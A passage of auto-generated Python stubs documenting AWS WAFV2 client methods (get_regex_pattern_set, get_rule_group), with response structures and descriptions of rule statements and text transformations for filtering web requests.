WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'ManagedKeysIPV4': { 'IPAddressVersion': 'IPV4'|'IPV6', 'Addresses': [ 'string', ] }, 'ManagedKeysIPV6': { 'IPAddressVersion': 'IPV4'|'IPV6', 'Addresses': [ 'string', ] } } :returns: (string) -- """ pass def get_regex_pattern_set(Name=None, Scope=None, Id=None): """ Retrieves the specified RegexPatternSet . See also: AWS API Documentation Exceptions :example: response = client.get_regex_pattern_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the set. You cannot change the name after you create the set.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :rtype: dict ReturnsResponse Syntax { 'RegexPatternSet': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'Description': 'string', 'RegularExpressionList': [ { 'RegexString': 'string' }, ] }, 'LockToken': 'string' } Response Structure (dict) -- RegexPatternSet (dict) -- Name (string) -- The name of the set. You cannot change the name after you create the set. Id (string) -- A unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Description (string) -- A description of the set that helps with identification. You cannot change the description of a set after you create it. RegularExpressionList (list) -- The regular expression patterns in the set. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A single regular expression. This is used in a RegexPatternSet . RegexString (string) -- The string representing the regular expression. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'RegexPatternSet': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'Description': 'string', 'RegularExpressionList': [ { 'RegexString': 'string' }, ] }, 'LockToken': 'string' } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def get_rule_group(Name=None, Scope=None, Id=None): """ Retrieves the specified RuleGroup . See also: AWS API Documentation Exceptions :example: response = client.get_rule_group( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the rule group. You cannot change the name of a rule group after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the rule group. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :rtype: dict ReturnsResponse Syntax { 'RuleGroup': { 'Name': 'string', 'Id': 'string', 'Capacity': 123, 'ARN': 'string', 'Description': 'string', 'Rules': [ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, 'LockToken': 'string' } Response Structure (dict) -- RuleGroup (dict) -- Name (string) -- The name of the rule group. You cannot change the name of a rule group after you create it. Id (string) -- A unique identifier for the rule group. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Capacity (integer) -- The web ACL capacity units (WCUs) required for this rule group. When you create your own rule group, you define this, and you cannot change it after creation. When you add or modify the rules in a rule group, AWS WAF enforces this limit. You can check the capacity for a set of rules using CheckCapacity . AWS WAF uses WCUs to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. AWS WAF calculates capacity differently for each rule type, to reflect the relative cost of each rule. Simple rules that cost little to run use fewer WCUs than more complex rules that use more processing power. Rule group capacity is fixed at creation, which helps users plan their web ACL WCU usage when they use a rule group. The WCU limit for web ACLs is 1,500. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Description (string) -- A description of the rule group that helps with identification. You cannot change the description of a rule group after you create it. Rules (list) -- The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them. Name (string) -- The name of the rule. You can\'t change the name of a Rule after you create it. Priority (integer) -- If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different. Statement (dict) -- The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement . ByteMatchStatement (dict) -- A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement. SearchString (bytes) -- A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes. Valid values depend on the component that you specify for inspection in FieldToMatch : Method : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request. UriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg . If SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive. If you\'re using the AWS WAF API Specify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes. For example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString . If you\'re using the AWS CLI or one of the AWS SDKs The value that you want AWS WAF to search for. The SDK automatically base64 encodes the value. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. PositionalConstraint (string) -- The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following: CONTAINS The specified part of the web request must include the value of SearchString , but the location doesn\'t matter. CONTAINS_WORD The specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true: SearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot . SearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; . EXACTLY The value of the specified part of the web request must exactly match the value of SearchString . STARTS_WITH The value of SearchString must appear at the beginning of the specified part of the web request. ENDS_WITH The value of SearchString must appear at the end of the specified part of the web request. SqliMatchStatement (dict) -- Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. XssMatchStatement (dict) -- A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. SizeConstraintStatement (dict) -- A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes. If you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes. If you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. ComparisonOperator (string) -- The operator to use to compare the request part to the size setting. Size (integer) -- The size, in byte, to compare to the request part, after any transformations. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. GeoMatchStatement (dict) -- A rule statement used to identify web requests based on country of origin. CountryCodes (list) -- An array of two-character country codes, for example, [ "US", "CN" ] , from the alpha-2 country ISO codes of the ISO 3166 international standard. (string) -- RuleGroupReferenceStatement (dict) -- A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) -- The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) -- The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. IPSetReferenceStatement (dict) -- A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet . Each IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it. ARN (string) -- The Amazon Resource Name (ARN) of the IPSet that this statement references. RegexPatternSetReferenceStatement (dict) -- A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet . Each regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it. ARN (string) -- The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . 